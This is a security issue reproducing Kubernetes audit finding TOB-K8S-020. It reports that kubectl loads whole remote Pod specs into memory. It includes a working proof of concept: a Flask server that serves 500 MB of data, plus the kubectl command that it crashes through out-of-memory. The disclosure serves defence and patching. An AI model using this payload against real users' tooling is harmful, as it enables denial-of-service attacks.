This issue was reported in the Kubernetes Security Audit Report

Description
When attempting to apply a Pod to the cluster, kubectl will read in the entire Pod spec in an attempt to perform validation. This results in the entire Pod spec being loaded into memory when loading from either an on-disk or remote resource. The latter is more dangerous because it is a commonly acceptable practice to pull a Pod spec from remote web server. A weaponized example of this has been produced leveraging a Python Flask server and kubectl in Figure 1 and 2, respectively.

from flask import Flask, Response

app = Flask(__name__)

@app.route('/')
def generate_large_response():
    return Response("A"* (500 * 1024 * 1024), mimetype="text/yaml")

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

Figure 15.1: The malicious web server running on 172.31.6.71:8000

root@node1:/home/ubuntu# kubectl apply -f http://172.31.6.71:8000/
Killed

Figure 15.2: The killing of kubectl due to an OOM.

The area of code requiring full loading of the Pod spec is within the validation of annotation length, visible in Figure 3.

func ValidateAnnotations(annotations map[string]string, fldPath *field.Path) field.ErrorList {
	allErrs := field.ErrorList{}
	var totalSize int64
	for k, v := range annotations {
		...
		totalSize += (int64)(len(k)) + (int64)(len(v))
	}
	if totalSize > (int64)(totalAnnotationSizeLimitB) {
		allErrs = append(allErrs, field.TooLong(fldPath, "", totalAnnotationSizeLimitB))
	}
	return allErrs
}

Figure 15.3: The calculation checking if the totalSize of annotations are larger than the limit.

Exploit Scenario
Eve configures a malicious web server to send large responses on every request. Alice references a pod file on Eve’s web server through kubectl apply. Eve’s malicious web server returns a response that is too large for Alice’s machine to store in memory. Alice unknowingly causes an OOM on her machine running kubectl apply.

Recommendation
Avoid loading arbitrary data into memory regardless of size. Limit the size of a valid spec or inform the user when it consumes a substantial amount of memory, especially for specs that are fetched from remote endpoints.

Anything else we need to know?:

See #81146 for current status of all issues created from these findings.

The vendor gave this issue an ID of TOB-K8S-020 and it was finding 15 of the report.

The vendor considers this issue Medium Severity.

To view the original finding, begin on page 48 of the Kubernetes Security Review Report

Environment:

• Kubernetes version: 1.13.4